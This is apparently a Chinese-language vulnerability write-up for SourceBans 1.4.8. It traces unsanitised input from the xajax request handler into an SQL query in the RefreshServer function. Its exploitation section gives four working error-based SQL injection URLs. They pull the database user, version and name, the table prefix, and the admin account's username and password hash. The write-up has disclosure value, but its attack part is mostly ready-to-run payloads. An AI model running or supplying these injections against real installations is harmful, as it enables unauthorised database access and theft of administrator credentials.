##1.漏洞分析
includes/xajax.inc.php
```php
{
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
$sFunctionName = $_GET["xajax"];//这里获取调用函数的名字
if (!empty($_GET["xajaxargs"]))
$aArgs = $_GET["xajaxargs"];//这里参数接收
......
if ($bFoundFunction)
{
for ($i = 0; $i < sizeof($aArgs); $i++)
{
// If magic quotes is on, then we need to strip the slashes from the args
if (get_magic_quotes_gpc() == 1 && is_string($aArgs[$i])) {
$aArgs[$i] = stripslashes($aArgs[$i]);
}
if (stristr($aArgs[$i],"<xjxobj>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]);
}
else if (stristr($aArgs[$i],"<xjxquery>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]);
}
else if ($this->bDecodeUTF8Input)
{
$aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]);
}
}
if ($this->sPreFunction) {
$mPreResponse = $this->_callFunction($this->sPreFunction, array($sFunctionNameForSpecial, $aArgs));
if (is_array($mPreResponse) && $mPreResponse[0] === false) {
$bEndRequest = true;
$sPreResponse = $mPreResponse[1];
}
else {
$sPreResponse = $mPreResponse;
}
if ($bEndRequest) $oResponse = $sPreResponse;
}
if (!$bEndRequest) {
if (!$this->_isFunctionCallable($sFunctionName)) {
$oResponse = new xajaxResponse();
$oResponse->addAlert("The Registered Function $sFunctionName Could Not Be Found.");
}
else {
if ($bFunctionIsCatchAll) {
$aArgs = array($sFunctionNameForSpecial, $aArgs);//$aArgs参数可控
}
$oResponse = $this->_callFunction($sFunctionName, $aArgs);
}
}
```
来看看RefreshServer函数
includes/sb-callback.php 2371行
```php
function RefreshServer($sid)
{
$objResponse = new xajaxResponse();
session_start();
$data = $GLOBALS['db']->GetRow("SELECT ip, port FROM `".DB_PREFIX."_servers` WHERE sid = '".$sid."';");//sql注入漏洞
if (isset($_SESSION['getInfo.' . $data['ip'] . '.' . $data['port']]) && is_array($_SESSION['getInfo.' . $data['ip'] . '.' . $data['port']]))
unset($_SESSION['getInfo.' . $data['ip'] . '.' . $data['port']]);
$objResponse->addScript("xajax_ServerHostPlayers('".$sid."');");
return $objResponse;
}
```
##2.漏洞利用
```
获取数据看名
http://sourcebans1.4.8/index.php?xajax=RefreshServer&xajaxargs[]=1' and (select 1 from (select count(*),concat(0x7c,concat(user(),0x7c,version(),0x7c,database(),0x7c),floor(rand(0)*2))x from information_schema.tables group by x)a)#
获取表前缀
http://sourcebans1.4.8/index.php?xajax=RefreshServer&xajaxargs[]=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema= 0x736F7572636562616E73312E342E38 limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x)a)%23
获取数据
http://sourcebans1.4.8/index.php?xajax=RefreshServer&xajaxargs[]=1' and (select 1 from (select count(*),concat((select user from sb_admins where aid= 1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x)a)%23
http://sourcebans1.4.8/index.php?xajax=RefreshServer&xajaxargs[]=1' and (select 1 from (select count(*),concat((select password from sb_admins where aid= 1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```
暂无评论